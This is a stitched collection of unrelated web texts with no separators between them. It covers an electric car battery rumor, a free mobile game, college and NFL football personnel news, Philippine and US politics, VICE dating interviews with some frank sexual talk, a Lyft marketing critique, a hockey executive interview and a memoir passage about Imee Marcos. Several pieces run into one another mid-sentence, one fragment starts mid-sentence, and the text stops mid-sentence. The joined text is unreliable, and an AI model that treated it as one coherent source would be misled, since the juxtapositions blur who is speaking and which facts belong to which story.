Now, rumor is that the 2017 Nissan LEAF will have a 40 kWh battery and 140 miles of range (EPA rating). It’s nice to get a bit of a bump from 130, assuming the rumor is true, but that is still a huge drop below the Chevy Bolt, and the Model 3. Can it keep Nissan in the game? Hard to know. With such a gap, I wouldn’t choose a LEAF over a Bolt or Model 3, but there are a lot of uninformed shoppers out there.
Pedro Lima, who found out about the 2017 Nissan LEAF plans, added that the 40 kWh battery pack “means that the energy density improved from 317 Wh/L to 528 Wh/L since the first 24 kWh battery. Not yet in Tesla Motors territory but not far… The second generation NMC cells are making this possible.”
Pedro also claims the Renault Zoe is getting a boost from the same 40 kWh battery product. “If Nissan and Renault will start sharing components as Carlos Ghosn suggested, the 40 kWh battery makes sense, since the Renault Zoe will also have one with the same capacity. Both Zoe and Leaf will probably have the same 192 cells but in a different package.”
The sources on all of this are slim at this point, but their statements match up, my source seemed to know what she/he was talking about, and the moves make sense … even if not enough sense (i.e., not enough of a range boost).
Check out our long-term Nissan LEAF review (with no home charging) for more info and thoughts on the LEAF.
Have an electric car and want to share your thoughts on it? Fill out the appropriate survey or surveys below.
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Photos by Cynthia Shahan | CleanTechnica (CC BY-SA 4.0), via CleanTechnica.picsThe GameStylus team finally released another of their long promised games, the Island of 16 sisters. And while the game is running on the same engine as previous GameStylus projects, a major change is visible: This time, the creators have bet not on hand-drawn graphics but on pre-rendered graphics.
Also, the theme of the game differs from the previous ones: The main hero Robert wakes up one day on a cool pavement in the middle of a small town on an unknown island. How did he get here? And why is he here? He should find out if he ever wants to get home.
Very soon he finds he is not alone on the island. There are 16 beautiful girls who know nothing about the world outside. And they don't even know what to do with Robert. And there's also a mysterious Father.
What's behind it all?
This time the game requires a lot of thinking, but fortunately, SuperHelp is available again in the menu, so whenever you don't know what to do, you can look into the help. So you can easily overcome places where you can't figure out what to do next.
The Island of 16 sisters is the fourth series of GameStylus adventure games. In the past, a young witch, a mutant or a cosmic treasure hunter were in the lead role, this time it's Robert... The creators promise second part of the game - in this first only a part of the secret is revealed.
The game is free, with no ads and no in-app purchases, so there's no reason not to try it. And it is in English, German, Russian, Portuguese and Spanish!
Here is the link to the game:
So, the game is available for Android and iOS (iPhone, iPad).
Update: The second part was just released:While the UTSA Roadrunners failed to land a bowl game invitation this year Frank Wilson’s coaching staff is sure being poached like a team that exceeded expectations. After parting ways with offensive coordinator Frank Scelfo and then losing three other coaches to other programs, UTSA will have their hands full with rebuilding their coaching roster in the coming weeks.
Defensive coordinator Pete Golding was the first coach to be poached after his top-three defense caught the eye of Nick Saban at Alabama. While Golding’s final job title is still unknown, it’s safe to say Golding is making a huge jump from UTSA to Tuscaloosa. Golding will probably be the toughest coach to replace as his defenses at UTSA truly overachieved thanks to Golding’s attacking scheme.
This morning we received news of two other assistant coaches parting ways with UTSA.
First up was UTSA safeties coach Patrick Toney. After racking up accolades at Sam Houston State, Toney helped a struggling UTSA secondary improve in his two years in San Antonio. A strong recruiter and quick riser in the coaching industry, Toney will be coaching at Lousiana-Lafayette next year. While UTSA to UL-Lafayette seems like a lateral move at best, Toney does have strong connections with the Cajuns’ new coaching staff and has deep ties to the Gulf Coast despite growing up in California.
Just hours later I received word that UTSA tight ends coach and special teams coordinator Ricky Brumfield was also leaving the program. Brumfield will be traveling north to Virginia where he will join Bronco Mendenhall’s staff to coach special teams. While the final salary numbers have yet to be officially released, I’ve heard Brumfield will be receiving a sizable salary increase at Virginia despite taking on a similar role to the one he held at UTSA. Brumfield developed Freshman Jared Sackett into an All-American kicker and the Roadrunners’ punt and kick off coverage teams were phenomenal under Brumfield’s guidance.
With two coordinators and two assistant coaches no longer with the program Frank Wilson will need to make at least five coaching hires this offseason as each NCAA program will be adding a 10th full time assistant coach before the start of the 2018 season.
With Football Scoop reporting that Wilson has already been in negotiations with potential coordinators, I would expect those hires to be finalized soon. Wilson will likely lean on input from the new coordinators to decide which direction to head in for the open assistant coaching spots from there. Stay tuned for updates as they’re available.The Associated Press
MANILA, Philippines - Twenty-eight Filipinos, including prominent activists, have filed an impeachment complaint against Philippine President Benigno Aquino III for implementing a major economic stimulus program that the Supreme Court has declared partly unconstitutional.
The complaint, filed Monday in the House of Representatives, accuses Aquino of violating the constitution and betraying public trust by funding projects outside the Congress-approved budget.
Lawmakers from three left-wing political parties endorsed the complaint, but it's unclear whether it will get enough support in a Congress dominated by Aquino allies.
Aquino has said that under the Disbursement Acceleration Program, enforced from 2011 to last year, government savings and non-allotted revenues were used to provide electricity to remote villages, build schools and finance other projects. He has stressed that the funds were not stolen, as alleged by critics.This article originally appeared in VICE UK.
In this modern dating world, with apps that turn looking for potential partners into a experience akin to choosing the toppings you'd like on your frozen yoghurt, it's easier than ever to be very picky about the people you're willing to rub bits with.
For example, I may find it attractive if someone is into films; you may find it attractive if they are into death metal and the occult. I may find it attractive if a person works out; you may find it attractive if they are a 19-stone human flesh pillow. I may find it attractive if someone wears their hair to the left; you may find it attractive if they have dyed their hair the vibrant blue of a urinal cube.
Sorry mate. Via
You see? We're all into different people. And thank god, otherwise only like 1% of humans would ever get laid.
With that in mind, I decided to talk to a bunch of girls, of varying sexualities and locales, to get a better understanding of what we find hot when we're looking for a sexual partner.
HANNAH, 24, WORKS AT VICE
VICE: Hi Hannah.
Hannah: Why do you always make me do stuff like this?
Because you have a lot to say about boys. So what's your type?
Hannah: My physical type and who I actually end up sleeping with are two very different things. But not pretty guys, more "rough-looking" guys with some facial hair but definitely not a fucking beard. Personality-wise, they have to be clever so I'll gain some knowledge from our interactions, but not more clever than me because I don't like irritating public school guys who get a visible kick from imparting wisdom on women they perceive to be less intelligent than them. Being massively into music and film will also give me a massive lady boner.
What else turns you off?
Successful musicians. Struggling musicians. Tories. Anyone who likes to play or watch cricket as a legitimate sport. Anyone with more than a passing interest in football, or even worse, wrestling. Guys who eat meat, especially red meat, in front of me. Guys with an unhealthy diet or who can't cook - what are you, 12? Still need mummy to make you dinners? Small feet. Gross teeth. Bitten nails. Long nails. Bucket hats. Coloured trousers. V-necks. Posh accents. Grating American accents. Bitchy guys. Quiet guys. Overly loud guys. Posh guys. If there is anyone left reading who these do not apply to then, hello, it's me your dream girl.
What are the weirdest things you find hot?
I've always taken a liking to big guys and I don't mean muscly, I mean slightly overweight. Not morbidly obese. Dad bod plus some.
What do you like with sex stuff?
They have to like foreplay. And at the very least be happy to have a discussion about sex.
Who are the most unlikely celebrities you fancy?
This is not unlikely if you are actually know me IRL but Jack Black and Seth Rogen. But not Jonah Hill. Do you see the subtle line there?
Do nice guys finish last?
No, because with age, girls increasingly like guys who are not utter dickheads. Ergo they will eventually win the race as long as they are good in bed.
SOPHIE, 23, UNDERWEAR ENTREPRENEUR
VICE: Hi Sophie. So I guess let's start at the beginning. What's your type?
Sophie: There's very little continuity between any of my exes so I guess I have absolutely no idea what I'm doing. I'm quite tall though, so ideally my type is over 6ft, but most of these men seem to have already been claimed by my 5ft 2in sisters.
What are the weirdest things you find hot?
If someone was quite a weird child, they tend to be a great date.
And what are big turn-offs?
Men who claim to be good at head; actually, men who claim in general to be good in bed. I try and avoid members of the police, the right wing, finance industry or any armed forces; and also bloggers and DJs. Also, men who seem to frankly hate women, especially guys from Tinder who start spewing vitriolic shit about what's wrong with the girls they meet five minutes after you met at Peckham Rye for a drink. Not a fan of men that blast the most misogynistic music in their cars and aggressively rap the lyrics in your face. Stop shouting "fuck dat bitch" in my face please?
What do you like with sex stuff?
I like a man to know what they're doing and to take charge. Firm but gentle. Always be respectful, never pushy, and communicate. Also huge dicks, in my experience, tend to be attached to huge dicks who have no idea what to do with them.
OK, give us some examples. Which celebrities do you fancy?
The only celebrities I fancy are guys I would be terrified to talk to in real life - the more serious criminal charges, babymamas and gold teeth, the better. Lil Durk, Future, Migos, Thugger, Fetty, etc. On the other end of the spectrum, I probably wouldn't say no to Hugh Grant, despite our 30-year age gap. In my head, these men seem uncontroversial, but whenever I share these views, people recoil.
What about social media? Would you ever bone a guy based on his Instagram?
The ideal scenario is dating someone who has no social media or at the very least isn't properly using Twitter. But at the same time, I think the DM slide is a normal part of dating and relationships now. A friend of mine recently broke up with his girlfriend of five years so he was really out the loop on how single life has changed. He could not believe that I was suggesting he DM the girls he followed on Instagram.
Do nice guys finish last?
No, definitely not. The men that finish last are the self-proclaimed "nice guys", the men who claim to be nothing like all other men, consistently proclaiming to be "not that guy". If you hear that shit, RUN.
PLOY, 18, STUDENT
In terms of physical appearance, what attracts you to a man?
Higher than me. That's enough. I'm 160cm. I guess not obese and not super-skinny, like I could break your bones or something. I don't like really weak guys.
What's your favourite part of the male body?
Eyes. I like blue eyes, but it doesn't matter if you have blue eyes. I think eyes show everything. Like emotions when you speak.
What are your thoughts on men and hair?
I don't like hairy people. A bit of arm hair is fine, but not like over the chest.
Is there anything that puts you off a man?
High ego, or arrogance. When they're really full of themselves, and try to show off all the time. I really like people who are a bit humble, and easy going.
What are your feelings towards men uploading selfies?
I don't really like guys doing that. It feels a bit weird. It feels they're like so proud of themselves? I don't really like that. If you post photos of food and places, it's fine. But not, like, your body, abs or selfies all the time.
Any thing else that's important?
Just be a good person and don't cheat. Please don't cheat.
RACHEL, 22, SOPRANO
Do you have a type when it comes to women?
Dark hair probably? A couple of my exes definitely had dark, long, flowy, luscious-ey hair. And also a little bit alternative, kind of Dita Von Teese.
What about height and body shape?
I'd say in terms of height, I'm not really that fussed. It's more on just the person I suppose. I like someone with curves. I don't really know how to describe that other than curvy?
What do you think of a person's social media aesthetic? Is a well-curated Instagram important these days?
With what I do, it's quite important to be on social media. It's nice to see someone in touch with it. If someone's really happy with a selfie they put on there, and it gets a lot of likes, I think good for them because they feel good about it.
Do you learn a lot about a person from their social media profile?
Probably. Especially if it's a kind of friend of a friend who you see on Facebook or something before meeting them as a person. You kind of already have an idea of what they're gonna look like before you meet them.
What if they do cringe hashtags like #gymprogress or #aboutlastnight?
It would put me off a little bit. That whole thing has become a bit excessive.
What about sex?
It comes down to confidence. If you can take control of the situation, I think that's really hot. Someone who definitely knows what they're doing. But in some situations, it can be good if you can teach them a thing or two. I'm quite a sexual person - I find that you can gauge how someone's gonna be even before it gets to the bedroom.
How?
Eye contact. Definitely, holding eye contact. Dirty talk used to be something that I would do when I was younger, if we're in a public place or something. But I enjoy more subtlety now that I'm older.
How do you feel about body hair?
Again, that's something that's changed from when I was younger. I used to kind of be like "everything gone, don't want it". Whereas now, if it's well looked-after and not unruly, it's absolutely fine. The in-between stage can be a bit painful.
You said you're bisexual. Do you look for different things in a man?
Well my first boyfriend was quite weak, and I'm not about that any more. I like if someone's athletic, and knows how to look after themselves. Taller than me too. I don't know why it's different to women? It just is. I used to be into the more edgy look but as I'm getting older, I think someone who looks well put-together, a bit more clean cut.
What do you find unattractive in men?
Not massively into body hair. Receding hairline would probably be one.
What about attitude? Are you partial to a bit of a twat?
That's a turn-off for me. It's the same with women. If someone's got good banter, that's good, but you have to know where the line is. Flirty banter's good, but if someone's just being a bit of a dick, then you don't know when to take them seriously.
SARAH, 19, STUDENT
VICE: You describe yourself as pansexual. What initially attracts you to someone?
Sarah: For me, women and men are both people. Obviously they are different genders, but they're both the same person. I go for the traits in people, as opposed to this sex and that sex. If I had a coffee date with a man or a woman, it would be the same things I look for: the humour, the kindness, the good conversation, a level of intelligence, face, a good smile,
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he will vote for Hillary Clinton in November.
“Yes,” the Vermont senator replied when asked about the possibility on “Morning Joe.”
“I think the issue right here is: I’m going to do everything I can to defeat Donald Trump,” he continued. “I think Trump, in so many ways, will be a disaster for this country if he were to be elected president. We do not need a president whose cornerstone of his campaign is bigotry.”
Sanders is continuing to soldier on in the Democratic primary despite the fact that Clinton, the party’s presumptive nominee, has already reached the delegate threshold and every primary contest has been held. Some of his supporters have vowed to not vote for Clinton in the general election.
He visited New York City on Thursday to give a “Where We Go From Here” speech to his supporters, vowing to campaign further on behalf of his populist policy platform. Later in the day Friday, he plans to give another such speech in Albany, N.Y.
During his trip to Manhattan, Sanders sat down for an interview CBS’ “The Late Show” in which he said he was not not planning on exiting the race in the immediate future. He told host Stephen Colbert that he wants to push Clinton’s agenda to the left.
“We want our 12 million supporters to be heard,” he said.
“Our campaign is talking to Secretary Clinton and her campaign,” he added. “And what we are trying to do is make certain that she is going to come out very strongly in moving toward making public colleges and universities tuition-free.”Lyft cofounder John Zimmer. John Sciulli/Getty Images for Lyft Uber is getting battered by a never-ending bad-news cycle that has featured accusations of sexual harassment and a lawsuit brought by one of its investors.
That has created a big opening for Lyft, Uber's main rival in the US, to capitalize on the situation.
So what's Lyft's master plan? According to Lyft's cofounder and president, it all boils down to one word: "woke."
"We're woke. Our community is woke, and the US population is woke," John Zimmer said in an interview with Time on Monday, referring to how his company planned to take advantage of Uber's recent stumbles.
"There's an awakening," Zimmer continued. "Our vote matters, our choice matters, the seat we take matters."
As if being "woke" made Lyft the obvious alternative, Zimmer offered a curious metaphor to explain the difference between Uber and Lyft.
"We're not the nice guys," he said. "We're a better boyfriend."
Zimmer's use of "woke" might strike some as incongruous for a venture-backed company that has raised more than $1 billion in funding from the likes of Peter Thiel and Carl Icahn.
"Stay woke" has roots as a phrase used by black activists to acknowledge the systemic oppression of black people. It gained prevalence after the killing of Trayvon Martin in 2012 and during protests in Ferguson, Missouri, in 2014.
When Twitter's CEO, Jack Dorsey, wore a "stay woke" T-shirt in June, he said that using the term meant his eyes were open to the world around him, especially having been on the ground in Ferguson. But some viewed his wearing the shirt as extremely embarrassing.
Zimmer's use of the activist phrase to promote his business goes one step further.
Downloading Lyft because you disagree with Uber's business practices isn't a "woke" act made by a "woke community" to side with a "woke" business. Lyft is right to capitalize on Uber's stumbles, but saying it's "woke" to do so is not how you do it.Cleveland's front office is keeping impending free agent Jamie Collins off the open market.
The Browns have agreed to a four-year contract with Collins, the team announced Monday. Collins' new deal is worth $50 million ($26 million in guarantees), a contract that eclipses the per-year salary of Panthers linebacker Luke Kuechly ($12.36 million), NFL Network Insider Ian Rapoport reported, via a source informed of the process. The two sides have worked on hammering out the specifics of the deal since it was first reported Thursday.
Collins was acquired from the Patriots in exchange for a compensatory draft pick, stunning the football world at the trade deadline. Immediately featured as an every-down linebacker, Collins racked up 69 tackles and two sacks in eight games with Cleveland.
The Pats had offered Collins in excess of $10 million annually, Rapoport reported in late October, while Collins placed his own value among the highest-paid linebackers in the league.
Regardless of the price tag, keeping Collins in-house makes sense for an organization with a surfeit of salary-cap space and precious few Pro Bowl-caliber talents on the roster. He's a more natural fit in new defensive coordinator Gregg Williams' 4-3 scheme after moonlighting at outside linebacker in Ray Horton's 3-4 system in the season's final two months.
Although Collins was accused of freelancing too much in New England, at least one former teammate viewed him as the defense's best player. Williams figures to build his defense around linebackers Collins and Christian Kirksey, defensive tackle Danny Shelton and cornerback Jamar Taylor.Fox Business anchor Lou Dobbs dismissed the discovery of errant data points in a recently dismantled Harvard economics study that had formed the cornerstone for arguments supporting U.S. and European austerity as merely "a small mistake."
On the April 30 edition of Fox Business' Lou Dobbs Tonight, Dobbs discussed with former Reagan administration economic adviser Arthur Laffer a "contretemps" between New York Times columnist and Nobel Prize-winning economist Paul Krugman and historian Niall Ferguson over national debt and the economy. Dobbs stated that Krugman and Ferguson were referring to a recent Harvard study that contained "a small mistake," then asserting that the study's errors "doesn't change the fact," as advocated by Ferguson, that "high debt constrains opportunity for growth."
Laffer responded by saying he'd rather talk about taxes and spending. Dobbs added: "I'd rather they all start talking about both the creation of jobs and how to spur economic growth and be done with the bunch of nonsense and the debt. It's so dreary."
In fact, the Reinhart-Rogoff study -- which asserted that nations with public debt of more than 90 percent of GDP faced a tipping point of economic decline, an idea embraced by right-wing politicians and media alike, including Fox News -- suffered from much more than "a small mistake." The study was dismantled by Thomas Herndon, Michael Ash, and Robert Pollin of the University of Massachusetts, Amherst, who found that Reinhart and Rogoff's data includes calculation errors and selective exclusions that biased the results and invalidates the 90 percent tipping point finding. Rogoff and Reinhart conceded the calculation error but "adamantly deny the other accusations," which has been criticized as a weak rebuttal.
Dobbs' stance of finding discussions of debt to be "dreary" is a shift from how he led his program as recently as March 29, when he called for reduced government spending in response to President Obama's proposed improvements to infrastructure. "It shouldn't be a partisan issue because neither political party should be calling for higher spending when the federal government is running almost trillion-dollar deficits and the national debt amounts to almost $17 trillion," Dobbs said. "That doesn't seem to me to be a partisan issue at all, just one of common sense and good judgment and responsibility."Orlando, Florida -- On Wednesday night, the Solar Bears organization along with Kyle Dubas introduced new Solar Bears head coach Anthony Noreen. Noreen was recently awarded USHL coach of the year for his work with the Youngstown Phantoms, and was brought up through some shrewd decision-making in a joint discussion between Solar Bears management and Toronto (more about that from Dubas, below).
PPP was given excellent access to Dubas, so we interviewed him about his perspective on the Solar Bears, Marlies, Leafs, and his vision for the future of player development in these connected clubs.
I was joined in this interview by fellow Solar Bears beat reporter Don Money of Pro Hockey News. We shared our interview questions with each other beforehand, and agreed on the gist of the questions. The most interesting takeaways for me were the following:
When pressing summer tasks are over, Toronto will think about extending the affiliation with the Solar Bears.
Toronto and Orlando worked together on the Solar Bears' coach selection. Both groups came up with lists of coach prospects, and Noreen was on both lists.
Noreen will head back to Toronto for rookie development camp and rejoin the Solar Bears in October.
Toronto wants to place an emphasis on letting players develop with their minor club during their ELC, so that they are not called up prematurely, or called up and sent back down often.
Dubas discussed Stuart Percy, Sam Carrick, Garret Sparks, and Tyler Biggs and their movement through the leagues as an example of development.
Toronto will go beyond the 50 player contract list to assign players to ECHL-AHL two-way agreements.
Note: Here's the audio from Achariya Dubas Interview.
Transcript:
Don: Talk about your experience and how the Maple Leafs feel about the affiliation with Orlando.
Dubas: We feel very strongly about it, both in terms of its importance to our prospects and to our development model, it's extremely important, and the quality of the operation here, which along with Jason [Siegel, Solar Bears President] and now Anthony and Chris Heller [Solar Bears CFO], it's been wonderful to work with.
They made the decision as a management group to make a coaching change, and they asked that Toronto be involved, and we're just thrilled that Anthony's going to be here working with our players that are here developing with the Solar Bears. It's very exciting for us -- the way they operate here is very important to us, to the Maple Leafs, so we're very excited.
Achariya: Are you planning to extend the affiliation past next year, when it runs out?
Dubas: I think it's -- with everything that's happened with the Maple Leafs this spring, and obviously with the Solar Bears with their coaching search, and now we're talking about rosters, it hasn't been something that we've discussed yet, but it will be something that we're going to talk about here as soon as everything dies down and we get some time to focus on it properly.
From our end, it's something that we want to have a discussion with Joe [Haleski, Solar Bears Chairman and Governor] and Jason and Chris about.
Don: With your strong ties to junior hockey and the Soo and the OHL, talk about what the discussions were like for the Orlando team to be willing to go to the junior ranks to pull a head coach?
Dubas: When Jason and Joe flew up to Toronto it was early in May. After their season ended here they wanted to do a review of things. They told us they were planning on making a change, and asked if we'd like to be involved in the process. We said sure, and I gave him a list of people I thought he should talk to that would be great candidates. And he, vice-versa, gave me a list, and Anthony was someone that was on both of our lists, and that made it relatively simple.
I started doing more background work on Anthony. I'd already seen him - watching his teams play - and I knew him as a person. It was all very very positive, and the way that he developed players, nothing negative at all about it -- it was pretty simple that way.
Don: What were the aspects of Anthony that put him high on your list?
Dubas: I think that the way he played in Youngstown, they played with energy, they played with skill, they tried to make plays. And that league is one where there's a lot of change of personnel as well due to injury, or players moving from one league to the next, and to see him able to institute his system as players were shuffling in and out of the lineup was very similar I think to how it is in the ECHL, and that was a very important thing, in looking at him as a coach from my end.
And also the way he developed players, not only on the ice but off. They always left there with nothing but high praise in terms of their character as they went on to college. We're very excited about all that, and it's been fun to watch him work here in Orlando with the prospects.
Achariya: As far as prospects in the Leafs organization go, how would you present an opportunity to join the Solar Bears to someone who's been playing with the Marlies for a while?
Dubas: "For a while" -- depends how you characterize "for a while." A good example from last year would be Tyler Biggs, who was with the Marlies for most of a year, and then coming in and evaluating it and seeing his progression -- I thought he was really struggling, and he came down here and had new fire just breathed into him, new life as a prospect. He came back up with us and was an effective player for us. He was injured unfortunately -- and then Pittsburgh wanted him as part of the trade. But that to me is a good example.
It's a good place to start your career and get your career rolling, and it's a good place to get your career back on track if you've gotten off the rails a little bit. Now especially with Anthony here, that discussion will be far easier. We've said over and over that this is not a place of punishment, it's a place of development, we're not sending our players here solely if they've disappointed us, we want them to have a great season.
Garret Sparks is another excellent example. He was up and down his first year, and then came here last year and had the best save percentage of the league, and has established himself as an excellent prospect. It's exciting.
Don: The organization has talked a change in philosophy toward prospects, and not pushing them, letting them develop in their own time and then moving them up, talk about that and how that might affect the number of players that might be here in Orlando from the Toronto organization. I get the sense that you're looking to have more players than were here last year, down.
Dubas: I think that for us, it runs two-fold. We don't want our players going up to the Leafs before they're ready, and we don't want them shuttling up and down. We want players to be called up to the Leafs when they're young and on the first two years of their entry-level contracts ONLY when they prove that they can be a Leaf, all the time.
We don't want players going up and then coming down. We saw last year with Stuart Percy and Sam Carrick, they go up, and they come back down, and it really rattles the players' confidence. Even though it's a joyful experience to play your first NHL game, to make the team and get recalled, it gets your psyche out of order a little bit.
And I think that's on us, it's not on the players. We have to be the ones making sure we're doing what's right by the players. So for us, if players are developing along with the Marlies, players that are starting here [in Orlando] will be developing along with here... and it's a whole domino effect that rolls down.
I have a lot of trust in Anthony's ability to develop, that when a player is ready to come up to the Marlies, he's ready. And in the Marlies, when they're ready for Mike Babcock. So, there are three stages of development, even though there are many micro-stages within those that are vital. But we're very happy with the program we have in place now.
Don: Do you see more prospects being placed in Orlando to do that development?
Dubas: I think we're going to utilize beyond our 50 contract list, I think we've shown we have a greater affinity to assign players to American League contracts, or American League-ECHL two-way contracts. And not older players that we're just trying to get off the Solar Bears cap, but young players who have proven that they've had a chance to come play, and play well with the Marlies as well.
So I would assume that going into this year, we're working with Anthony, and he knows a lot of players from his time in Youngstown, and our scouting staff, Sheldon, and everybody involved, trying to make sure that we're stocking our full system of prospects. Guys who are a little bit under our radar that we think have potential, we can get on ECHL deals, ECHL-American League two-way deals, and let them run from there. We won't limit ourselves to just our 50 NHL contracts.
Don: Now, I know that the Leafs organization has a way of hiring a lot of guys like yourself from Junior hockey, is it now to a point where junior hockey has become a place where you can find talent both on the ice off the ice to run organizations?
Dubas: Well I hope so, I mean, we'll find out here --
Achariya: It's your one-year anniversary, right?
Dubas: Yes! So we'll find out quickly. If we can't, the hiring from Junior might go on hiatus for a while. [Laughs] But I think there's a lot to having the fortune to come up from major junior hockey, and there's talented people everywhere, I mean we have Norm Bazin from UMass Lowell, their head coach, he was a guest coach at our camp.
There are so many great college hockey coaches, and personnel, and also in junior hockey, rather than just recycling people, or bringing on people just from the American League. I'm a big believer in the head coach to have been a head coach previously so they can jump right in. Like Anthony was head coach in Youngstown, Sheldon head coach of the Soo, and of course Mike has been the head coach and has very successful stints in many places -- that to me is important. But we want to give equal opportunity to begin developing our own people, and Anthony falls under that.
He'll be with us through our rookie tournament in London all the way through our Leafs camp, and come back here [to Orlando] probably in early October. We're all really about developing our own people now, which is why we went to those lengths.I had been making excuses all week but I knew the time had come to make up my mind. The Philippines Ambassador, the former anti-Marcos journalist J.V. Cruz, had warned me about the impending arrival of the Philippines’ first daughter for some time. Imee Marcos, my old nemesis from Manila, was going to be in London along with her new husband, Tommy Manotoc, as part of their round the world tour.
JV had been an outspoken anti-Marcos columnist on the Manila Times when I first met him in the late 60’s, But, like so many other prominent journalists, he had eventually been seduced by Marcos’s offers of money, power and position. In JV’s case, his loyalty had been bought first by an Ambassadorship to Germany and then, when he had proved his loyalty, to the Court of St. James. Even JV’s younger brother, Jun, had benefited from Marcos’s largesse towards his new Ambassador. First Jun Cruz was made Minister of Finance and then he was nominated head of the GSIS, the Government Service Insurance System. But, like all other favours the Marcoses dispensed, there was a price to be paid. Imelda expected her cut. In this case it was the GSIS that she used as her own private bank to finance many of her multi-million dollar projects. And both Jun and JV had to look the other way. I had known JV from my Café Indios Bravos days. He would drop by occasionally to receive or share the latest political and social gossip, to down a glass or two of whiskey and to cast a jaded eye around for any pretty, available girl. But now, in 1983, he was the essence of civility, his normal casual attire abandoned for a Savile Row pinstriped suit. And, instead of being content with a simple roof over his head he was now living in the vast Philippine Embassy residence on London’s exclusive Kensington Palace Gardens, known locally as millionaires’ row.
“I’ve got strict instructions from Imelda,” JV told me over the phone, “not to let Imee and Tommy out of my sight while they’re in London. They’re my responsibility. I’ve arranged a week of parties, theatres and sightseeing. But,” he hesitated, “there’s one night I just can’t be with them. Please can you and Ben take them off my hands that night for me, please.” JV was pleading. Although Ben proved fairly easy to convince when I discussed it with him later, I was extremely reluctant. Ten years earlier I had crossed swords with Imee on Philippine television. And, like her mother, I knew she was unlikely to have forgotten the exchange. Imee had arrived at the Channel 3 studio that night with an arm encrusted in vast uncut emeralds, the like of which I had never seen before. It seemed an extraordinary coincidence at the time because there was a story doing the rounds in Manila that several Andean miners had lost their lives excavating the world’s largest flawless emeralds intended for the First Lady of the Philippines, Imelda Romualdez Marcos. I couldn’t take my eyes off the huge green rocks circling Imee’s wrist. And, being in a playful mood, I just couldn’t resist the temptation to remark on them. Live on air I asked: “Those are the most magnificent emeralds I’ve ever seen, Imee. Did you ever find out exactly how many men died digging them out of the Colombian mountains?” Flustered Imee hurriedly tried to
obscure the offending jewels by covering them with her other arm. I could see she was uncomfortable but I had started, so I persisted. “I heard your mother has yet to pay the bill, is that right?” The presenter, Elvira Manahan, who was one of Imelda’s coterie of “blue ladies”, pulled one of her characteristic Phyllis-Diller-type expressions and let out a nervous giggle. Her husband Dr. Manahan, Manila’s top gynaecologist, had delivered Imee and the other two Marcos children so I realized this must have been acutely embarrassing for her. I waited for an answer but Imee looked straight through me. For once the bright, intelligent First Daughter, who was being groomed to succeed her father, didn’t have a ready answer. Elvira coughed and tried to change the subject. But I knew my friends would expect me to pursue the subject until I got an answer. And youthful arrogance got the better of me. Besides, I was enjoying myself. “How much do you think they’re worth – $50 million, $100 million? What would you say, Imee?” Composing herself, Elvira reprimanded me: “Now, Caroline, that’s an unfair question. Imee wouldn’t have any idea. They were gifts from her mother.” While I was wondering how Elvira knew that for a fact, she turned to Imee:“
Now tell me about your life, Imee, are you planning to continue at Princeton in the Fall?” I was tempted to say, “If the Philippines can afford the bill!” for it was well known that funds to educate the Marcos children were extracted not from Marcos’s modest presidential salary of $6500 per annum but from the Philippines treasury. Like everything else in his life, Marcos automatically expected his political dynasty to be paid for by the people. I was also tempted to ask Imee about the rhinestone-encrusted jeans she had been reported wearing during a recent summer barbeque in Long Island. Except that, another guest reliably informed me, they weren’t actually rhinestones at all but real diamonds. Sadly, at this point, my instinct for self-preservation got the better of me. I had almost been deported once, Betsy, Henry and many of my friends had been jailed and now I had my own children’s safety to consider. So I let it go and we twittered on about innocuous subjects that required little soul-searching, little animosity and zero confrontation. I had not spoken to Imee since then. And now JV was asking me to look after her and her basketball coach husband, Tommy, for a whole evening. “Come on, Caroline,” Ben coaxed me, “it won’t be that bad.” So, very reluctantly I agreed. My brother-in-law, Elliott Kastner, had a new musical,
“Marilyn”, about the life of Marilyn Monroe running at the Adelphi Theatre on the Strand so I reckoned I could invite Imee and Tommy to that. By going to the theatre I imagined, we could keep the conversation to a minimum thus avoiding dredging over old animosities. I called Elliott, explained the situation and he reserved some complimentary tickets at the box office for us. He suggested I call the manager of the theatre to warn him that I would be bringing the daughter of Ferdinand and Imelda Marcos. The manager was extremely courteous and offered to make all the necessary security arrangements, take us into the private VIP bar during the interval and arrange for us to meet the actors backstage at the end of the show. I knew two of the main actors, Stephanie Lawrence, playing Marilyn and Judith Bruce, playing Marilyn’s mother, so I called them to say we would be dropping in after the performance. Everything was in place. “Sorted”, I thought, almost looking forward to the evening. But how wrong I was. I should have known that nothing involving any member of the Marcos family is ever that simple.
I spoke to Imee the day before the event. I gave her the name and address of the Adelphi Theatre and told her exactly what time we should meet there. In order to avoid misunderstandings I asked her to write it all down. “Everything’s clear,” she told me. “And please make sure you’re there ten minutes before curtain‘s up!” I said as politely as I could. And then, more pointedly, “Theatre starts on time in England.” “Sure, no problem!” she replied and put the phone down. At the allotted time, Ben, the theatre manager and I were waiting patiently in the lobby. Five, ten, fifteen minutes – half an hour – passed and still no sign of Imee. Yet again, just as it always did in Manila, the theatre curtain was forced to wait for a member of the Marcos family. As the audience inside began to hiss and boo, the red-faced manager could wait no longer. He gave the nod for the show to begin. My heart sank. I visualized Ben and me waiting in the lobby all night. I was indignant. This was discourteous not only to the management but also to the actors and the audience. Finally, after what seemed like an eternity, seven stretch black limousines rolled up outside the theatre. Doors flung wide open and uniformed men, carrying armalites, spilled out onto the pavementt. I watched in horror as some of the armed minders rushed inside and others surrounded the perimeter, effecting a cordon sanitaire around the theatre. And, when they decided the venue was safe, they snapped their fingers, whispered into their walkie-talkies and nodded the go-ahead for Imee and Tommy to emerge.
By this time people in the street had stopped dead in their tracks. They stared incredulously, probably wondering who on earth deserved such a massive security operation. I, too, couldn’t believe my eyes. This was like finding myself in a cheap gangster movie. I couldn’t help thinking that nobody in London would even recognise Imee Marcos, let alone care who she was or what happened to her. Nobody in London was ever likely to threaten her physical harm or kidnap her. Well, nobody that is, except, of course, her own parents who had already proved they were more than capable since they managed to “kidnap” the hapless Tommy Manotoc following their daughter’s hasty marriage to him. And all for the simple reason that Imelda didn’t approve of him. When the scared young man was finally “released” from a month in his secret mountain cave and when his supposed captors, the NPA Communist guerrillas, had been suitably “punished”, Tommy emerged into daylight for the benefit of the television cameras looking healthier and more robust than he did before he “disappeared”. But nobody was about to drag Imee off the streets of London and hold her against her will. Nobody was about to make an attempt on her life. Nobody was going to hold her for ransom. This was exhibitionism at its most vulgar. This was simply a very successful attempt at drawing attention to herself. And, whether it was her own idea of making a dramatic entrance or “Daddy’s” orders for protecting his anointed heir, I never did find out. But seven decoy cars and nine armed bodyguards seemed, in my opinion, definitely excessive. By now the manager was at his wits’ end. Armed guards were illegal in London and with them posted inside and outside the theatre so flagrantly he felt he was bound to get into serious trouble with the law. “Can’t you ask her to get rid of them?” he whispered to 